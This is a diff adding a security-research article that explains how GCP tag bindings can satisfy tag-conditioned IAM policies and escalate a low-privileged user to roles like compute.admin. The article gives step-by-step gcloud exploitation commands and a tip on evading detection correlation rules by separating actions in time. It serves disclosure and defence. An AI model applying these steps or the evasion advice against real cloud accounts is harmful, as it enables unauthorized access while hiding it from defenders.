Merge pull request #458 from arielkalman/gcp/exploitation/priv_esc/new-tag-your-way-in-article

New Article - GCP privilege escalation via tagBindings

Author: Frichetten

content/gcp/exploitation/tagbindings_privilege_escalation.md

@@ -0,0 +1,127 @@
+---
+author_name: Ariel Kalman
+title: Tag Your Way In - GCP Privilege Escalation Using Tags
+description: A new privilege escalation technique in Google Cloud that leverages tag bindings to bypass IAM conditions and gain unauthorized access to sensitive resources.
+---
+
+
+<div class="grid cards" markdown>
+
+-   :material-account:{ .lg .middle } __Original Research__
+
+    ---
+
+    <aside style="display:flex">
+    <p><a href="https://www.mitiga.io/blog/tag-your-way-in-new-privilege-escalation-technique-in-gcp">Tag Your Way In: New Privilege Escalation Technique in GCP</a> by <a href="https://www.linkedin.com/in/ariel-kalman-47314a19b/">Ariel Kalman</a></p>
+    <p><img src="/images/researchers/ariel_kalman.jpg" alt="Ariel Kalman" style="width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset"></img></p>
+    </aside>
+
+</div>
+
+
+GCP IAM Conditions allow fine-grained access control using context like time, resource type, and tags—but those same tags can enable unexpected privilege escalation. **In this post, we show how a user with only viewer and tagUser roles can escalate to full admin access without changing any IAM policy**.
+
+## Background
+#### Conditional Access Based on Tags
+
+In GCP, IAM policies control access by assigning roles to members on resources, optionally using conditions based on request time, IP address, or resource tags. Tags are key-value pairs that can be inherited and used in IAM Conditions, such as resource.matchTag('env', 'sandbox'), to enforce fine-grained access control.
+
+For example, this is an IAM policy with a resource tag condition:
+```json
+{
+  "bindings": [
+    {
+      "condition": {
+        "description": "Only allow access if a resource is tagged env=sandbox",
+        "expression": "resource.matchTag('env', 'sandbox')",
+        "title": "SandboxTagCondition"
+      },
+      "members": [
+        "group:sandbox_users@**************"
+      ],
+      "role": "roles/compute.admin"
+    }
+}
+```
+
+#### TagBindings and Role-Based Tag Management
+Tags are attached to resources using tagBindings, which link a resource to a specific tagValue.
+
+
+#### Tag Management Roles
+
+In GCP, tag management access is controlled using the following IAM roles:
+
+- [`roles/resourcemanager.tagViewer`](https://cloud.google.com/iam/docs/understanding-roles#resourcemanager.tagViewer)
+- [`roles/resourcemanager.tagUser`](https://cloud.google.com/iam/docs/understanding-roles#resourcemanager.tagUser)
+- [`roles/resourcemanager.tagAdmin`](https://cloud.google.com/iam/docs/understanding-roles#resourcemanager.tagAdmin)
+
+!!! Tip
+    To evade detection, an attacker could perform the tag binding and the privileged action in separate sessions or with a time gap greater than X minutes, breaking the detectable sequence used in correlation rules
+
+
+## How to Exploit
+
+
+### 1. Enumerate IAM Policies  
+```shell 
+gcloud projects get-iam-policy <PROJECT_ID>
+``` 
+**Required Role:**  `roles/resourcemanager.projects.getIamPolicy`  
+**Impact:**  Discover IAM bindings and tag-based conditions
+<figure markdown>
+  ![IAM Policy Output Example](../../images/gcp/exploitation/tagbindings_privilege_escalation/iam_enumeration.png){ loading=lazy }
+</figure>
+
+
+### 2. List Available Tags  
+```shell 
+gcloud resource-manager tags keys list --parent=folders/<FOLDER_ID>
+gcloud resource-manager tags values list --parent=tagKeys/<TAG_KEY_ID>
+```
+**Role:**  `roles/resourcemanager.tagUser`  
+**Impact:**  Enumerate tag keys and values.
+<figure markdown>
+  ![Tags Enumeration Example](../../images/gcp/exploitation/tagbindings_privilege_escalation/privileged_operation.png){ loading=lazy }
+</figure>
+
+
+### 3. Bind Tags to Resource  
+```shell
+gcloud resource-manager tags bindings create \
+  --tag-value=tagValues/<TAG_VALUE_ID> \
+  --parent=//cloudresourcemanager.googleapis.com/projects/<PROJECT_ID>
+```
+**Role:**  `roles/resourcemanager.tagUser`  
+**Impact:**  Attach tags to satisfy IAM conditions.
+<figure markdown>
+  ![tagBinding Creation Example](../../images/gcp/exploitation/tagbindings_privilege_escalation/tag_binding_creation.png){ loading=lazy }
+</figure>
+
+
+### 4. Exploit Conditional Access  
+```shell
+gcloud compute instances delete-access-config instance-<INSTANCE_NAME> \
+  --zone=us-central1-c \
+  --access-config-name="External NAT" \
+  --network-interface=nic0
+
+```  
+**Role:** `roles/compute.admin`  
+**Impact:**  Access resources gated by tag-based conditions.
+<figure markdown>
+  ![Admin Operation Example](../../images/gcp/exploitation/tagbindings_privilege_escalation/tags_enumeration.png){ loading=lazy }
+</figure>
+
+
+!!! Warning
+    The granted privileged role depends entirely on the IAM policy. If the policy assigns `roles/compute.admin` to resources with the tag, that's what the attacker gets, but it could just as easily be `roles/compute.viewer` or any other role.
+
+
+## Impact
+This privilege escalation technique can lead to unauthorized access, full admin control over key services, and long-term persistence by exploiting dynamic tag-based IAM conditions. It’s a realistic risk: public Terraform modules frequently assign the tagUser role to non-admins like CI/CD accounts or integration service accounts, as seen in examples from [terraform-example-foundation](https://github.com/terraform-google-modules/terraform-example-foundation/blob/main/0-bootstrap/sa.tf) and [cloud-foundation-fabric](https://github.com/GoogleCloudPlatform/cloud-foundation-fabric/blob/master/fast/stages/0-bootstrap/README.md).
+
+!!! Note
+    For a deeper technical walkthrough, check out the [full blog post](https://www.mitiga.io/blog/tag-your-way-in-new-privilege-escalation-technique-in-gcp) or [contact me](https://www.linkedin.com/in/ariel-kalman-47314a19b/) for more information.
+
+